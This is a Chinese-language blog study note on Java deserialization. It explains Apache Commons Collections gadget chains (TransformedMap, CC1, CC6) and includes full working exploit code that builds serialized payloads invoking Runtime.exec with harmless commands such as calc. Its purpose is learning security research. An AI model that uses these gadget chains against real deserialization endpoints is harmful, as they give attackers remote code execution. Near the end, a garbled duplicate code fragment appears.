Day7-java反序列化

java终于又开始了,我爱java

吹爆p牛的java安全漫谈-入门超友好

参考了: https://zhishihezi.net/b/5d644b6f81cbc9e40460fe7eea3c7925

序列化和反序列化

RMI(Java远程方法调用-Java Remote Method Invocation)JMX(Java管理扩展-Java Management Extensions)

具有广泛而深刻的利用。

0x01 序列化和反序列化

实现的方法很简单,只要实现了java.io.Serializable(内部序列化)java.io.Externalizable(外部序列化) 这样的类就可以序列化和反序列化操作。

  • 反序列化对象不走构造方法

    因为在源码中,sun.reflect.ReflectionFactory.newConstructorForSerialization构造了一个反序列化的专用构造方法。这一样也就可以绕过构造方法(unsafe也可以绕过

    原理的话:根据cl参数(TestClass类的Class对象)和cons参数(基类Object的构造器)创建了一个新的构造器

  • 反射调用走构造方法

不用构造方法实例化对象

0x02 ObjectInputStream、ObjectOutputStream

ObjectOutputStream out = new ObjectOutputStream(baos);
// 序列化DeserializationTest类
out.writeObject(t);
out.flush();
out.close();

核心逻辑其实就是使用ObjectOutputStream类的writeObject方法序列化DeserializationTest类,使用ObjectInputStream类的readObject方法反序列化DeserializationTest类而已。

注意这里序列化的时候,Java会通过反射所有不包含被transient修饰的变量和值)。

  • 如果需要自定义序列化和反序列化
    1. private void writeObject(ObjectOutputStream oos),自定义序列化。
    2. private void readObject(ObjectInputStream ois),自定义反序列化。
    3. private void readObjectNoData()
    4. protected Object writeReplace(),写入时替换对象。
    5. protected Object readResolve()

可以通过实现以上接口来实现。

0x03 CC链

🅰️几个知识点

  • CC => Apache Commons Collections

  • TransformedMap的构造

Transformer接口

image-20220105153214377

public interface Transformer {

    /**
     * Transforms the input object (leaving it unchanged) into some output object.
     * 将输入的obj(保持不变)转换为某个输出对象
     * @param input  the object to be transformed, should be left unchanged
     * @return a transformed object
     * @throws ClassCastException (runtime) if the input is the wrong class 如果输入是错误
     * @throws IllegalArgumentException (runtime) if the input is invalid 如果输入无效
     * @throws FunctorException (runtime) if the transform cannot be completed 如果转换无法完成
     */
    public Object transform(Object input);

}

几个重要的实现类ConstantTransformerinvokerTransformerChainedTransformerTransformedMap

  • ConstantTransformer
package org.apache.commons.collections.functors;

import java.io.Serializable;

import org.apache.commons.collections.Transformer;

/**
 * Transformer implementation that returns the same constant each time.
 * 返回你输入的东西
 * <p>
 * No check is made that the object is immutable. In general, only immutable
 * objects should use the constant factory. Mutable objects should
 * use the prototype factory.
 * 
 * @since Commons Collections 3.0
 * @version $Revision: 646777 $ $Date: 2008-04-10 13:33:15 +0100 (Thu, 10 Apr 2008) $
 *
 * @author Stephen Colebourne
 */
public class ConstantTransformer implements Transformer, Serializable {

    /** Serial version UID */
    private static final long serialVersionUID = 6374440726369055124L;
    
    /** Returns null each time */
    //总是返回null
    public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);

    /** The closures to call in turn */
    private final Object iConstant;

    /**
     * Transformer method that performs validation.
     *
     * @param constantToReturn  the constant object to return each time in the factory
     * @return the <code>constant</code> factory.
     */
    public static Transformer getInstance(Object constantToReturn) {
        if (constantToReturn == null) {
            return NULL_INSTANCE;
        }
        return new ConstantTransformer(constantToReturn);
    }
    
    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param constantToReturn  the constant to return each time
     */
    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    /**
     * Transforms the input by ignoring it and returning the stored constant instead.
     * 
     * @param input  the input object which is ignored
     * @return the stored constant
     */
    public Object transform(Object input) {
        return iConstant;
    }

    /**
     * Gets the constant.
     * 
     * @return the constant
     * @since Commons Collections 3.1
     */
    public Object getConstant() {
        return iConstant;
    }
}

测试

Object              obj         = Runtime.class;
ConstantTransformer transformer = new ConstantTransformer(obj);
System.out.println(transformer.transform(obj));

image-20220105154327192

  • InvokerTransformer

源码

  public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

可以看到利用反射的调用方法来invoke了,属于是。

// 定义需要执行的本地系统命令
		String cmd = "calc";
		// 构建transformer对象
		InvokerTransformer transformer = new InvokerTransformer(
				"exec", new Class[]{String.class}, new Object[]{cmd}
		);
		// 传入Runtime实例,执行对象转换操作
		transformer.transform(Runtime.getRuntime());

那么这样这个就不要讲了。但是我们在实际利用中并不可以直接利用,得靠其他的类

  • ChainedTransformer
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

这是对于传入的Transformer类进行链式调用,全都绑定一个object中,这个object又作为下一个transfer的参数。

		Transformer[] transformers = new Transformer[]{
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[]{
						String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
				),
				new InvokerTransformer("invoke", new Class[]{
						Object.class, Object[].class}, new Object[]{null, new Object[0]}
				),
				new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
		};

		// 创建ChainedTransformer调用链对象
		Transformer transformedChain = new ChainedTransformer(transformers);

		// 执行对象转换操作
		Object transform = transformedChain.transform(null);

下面可以对这端代码进行改写。

Method getRuntime = (Method) Runtime.class.getClass().getMethod("getMethod", new Class[]{String.class, Class[].class}).invoke(Runtime.class,new Object[]{"getRuntime", new Class[0]});
		Runtime runtime = (Runtime) getRuntime.getClass().getMethod("invoke", new Class[]{Object.class, Object[].class}).invoke(getRuntime, new Object[]{null, new Object[0]});
		runtime.getClass().getMethod("exec", new Class[]{String.class}).invoke(runtime, new Object[]{cmd});

这个链子还是算比较简单的一种

如何利用?

  • 如何传入ChainedTransformer
  • 如何调用它的transform

🅰️

image-20220105195529141

这个类不仅实现了序列化接口,还支持对key和值进行transform处理。

package com.anbai.sec.serializes;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class TransformedMapTest {

	public static void main(String[] args) {
		String cmd = "calc";

		Transformer[] transformers = new Transformer[]{
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[]{
						String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
				),
				new InvokerTransformer("invoke", new Class[]{
						Object.class, Object[].class}, new Object[]{null, new Object[0]}
				),
				new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
		};

		// 创建ChainedTransformer调用链对象
		Transformer transformedChain = new ChainedTransformer(transformers);

		// 创建Map对象
		Map map = new HashMap();
		map.put("value", "value");

		// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
		Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

//		 transformedMap.put("v1", "v2");// 执行put也会触发transform

		// 遍历Map元素,并调用setValue方法
		for (Object obj : transformedMap.entrySet()) {
			Map.Entry entry = (Map.Entry) obj;

			// setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
			entry.setValue("test");
		}

		System.out.println(transformedMap);
	}

}

setValue/put/putAll这三个方法中都有对key和值进行transform的处理,不用多说了。

  1. 实现了java.io.Serializable接口;
  2. 并且可以传入我们构建的TransformedMap对象;
  3. 调用了TransformedMap中的setValue/put/putAll中的任意方法一个方法的类;

AnnotationInvocationHandler

sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口,它还重写了readObject方法,在readObject方法中还间接的调用了TransformedMapMapEntrysetValue方法,从而也就触发了transform方法,完成了整个攻击链的调用.

这一段话说的已经很明白了。

直接上攻击流程

package com.anbai.sec.serializes;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;

/**
 * Creator: yz
 * Date: 2019/12/16
 */
public class CommonsCollectionsTest {

    public static void main(String[] args) {
        String cmd = "open -a Calculator.app";

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);

        // 创建Map对象
        Map map = new HashMap();
        map.put("value", "value");

        // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
        try {
            // 获取AnnotationInvocationHandler类对象
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

            // 获取AnnotationInvocationHandler类的构造方法
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

            // 设置构造方法的访问权限
            constructor.setAccessible(true);

            // 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
            // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
            Object instance = constructor.newInstance(Target.class, transformedMap);

            // 创建用于存储payload的二进制输出流对象
            ByteArrayOutputStream baos = new ByteArrayOutputStream();

            // 创建Java对象序列化输出流对象
            ObjectOutputStream out = new ObjectOutputStream(baos);

            // 序列化AnnotationInvocationHandler类
            out.writeObject(instance);
            out.flush();
            out.close();

            // 获取序列化的二进制数组
            byte[] bytes = baos.toByteArray();

            // 输出序列化的二进制数组
            System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));

            // 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);

            // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
            ObjectInputStream in = new ObjectInputStream(bais);

            // 模拟远程的反序列化过程
            in.readObject();

            // 关闭ObjectInputStream输入流
            in.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

java1.8就把这个类修复了,无聊。。。。。

我们可以看一些yso的反序列化链子,把这个知识点进行串讲。

CC1

jdk8u71以下。

public class cc1 {
    public static void main(String[] args) throws Exception {
        //payload
        Transformer[] x = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
        };
        Transformer d = new ChainedTransformer(x);
        Map map = new HashMap();
        Map map1 = LazyMap.decorate(map, d);
        
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);
        ct.setAccessible(true);
        
        InvocationHandler handler = (InvocationHandler) ct.newInstance(Target.class, map1);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        Object o = ct.newInstance(Target.class, proxyMap);  //这样写也可handler = (InvocationHandler) ct.newInstance(Retention.class, proxyMap);

        //payload序列化写入文件,当作网络传输
        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(o);  //如果用的后面那种,则把o换成handler

        //服务端反序列化payload读取
        FileInputStream f1 = new FileInputStream("payload.bin");
        ObjectInputStream f2 = new ObjectInputStream(f1);

        f2.readObject();

    }
}

这里的重点就在于那个handler的它实现了invoke,可以来动态代理,就可以触发他的invoke方法,进而触发lazymap的get方法。不分析了,因为今天被版本恶心到了。

CC6

解决了高版本危机。主要难点就在于如何找上下⽂中是否还有其他调⽤ LazyMap#get() 的地⽅

p牛找到的链子是org.apache.commons.collections.keyvalue.TiedMapEntry在它的getValue方法中调用了map的get方法。在他的hashCode方法中又调用了自己的getValue方法。所以现在要找一个调用hashcode方法的地方。

然后在HashMaphash(key),然后他的readobject方法中调用了该方法,所以现在让key等于TiedMapEntry就可以触发了。

链子初步构造

        String cmd = "calc";
        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        //构造利用链
        Map innermap = new HashMap();
        Transformer transformedChain = new ChainedTransformer(fakeTransformers);
        Map outermap = LazyMap.decorate(innermap,transformedChain);
        TiedMapEntry tme = new TiedMapEntry(outermap, "keykey");
        HashMap expMap = new HashMap();
        expMap.put(tme,"valuevalue");


        //避免一次触发
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformedChain, transformers);
        //模拟攻击

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        //生成序列化

        ByteArrayInputStream bai = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bai);
        Object o = (Object)ois.readObject();

初步构造出来应该是这个样子的,但是我们执行发现并没有触发??

p牛的调试发现expMap.put(tme,"valuevalue");问题其实在这里,hashmap的put方法其实已经执行了一次hash方法,但是因为我们前面是用的fake,所以在这里它就把outermap中增加了一个keykey的键,并且指向是1,后面调试的时候,也会发现,在hash的时候key它返回值的时候不是对象,而是keykey。

有什么办法处理呢?其实调用Out的remove删除keykey就可以了。

最后的大成功

package com.anbai.sec.serializes;

import com.sun.xml.bind.v2.util.ByteArrayOutputStreamEx;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        //先构造出有利用的链
        String cmd = "calc";
        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        //构造利用链
        Map innermap = new HashMap();
        Transformer transformedChain = new ChainedTransformer(fakeTransformers);
        Map outermap = LazyMap.decorate(innermap,transformedChain);
        TiedMapEntry tme = new TiedMapEntry(outermap, "keykey");
        HashMap expMap = new HashMap();
        expMap.put(tme,"valuevalue");

        outermap.remove("keykey");
        //避免一次触发
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformedChain, transformers);
        //模拟攻击

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        //生成序列化

        ByteArrayInputStream bai = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bai);
        Object o = (Object)ois.readObject();
    }
}

免一次触发
Field f = ChainedTransformer.class.getDeclaredField(“iTransformers”);
f.setAccessible(true);
f.set(transformedChain, transformers);
//模拟攻击

    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);
    oos.writeObject(expMap);
    oos.close();

    //生成序列化

    ByteArrayInputStream bai = new ByteArrayInputStream(barr.toByteArray());
    ObjectInputStream ois = new ObjectInputStream(bai);
    Object o = (Object)ois.readObject();
}

}


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值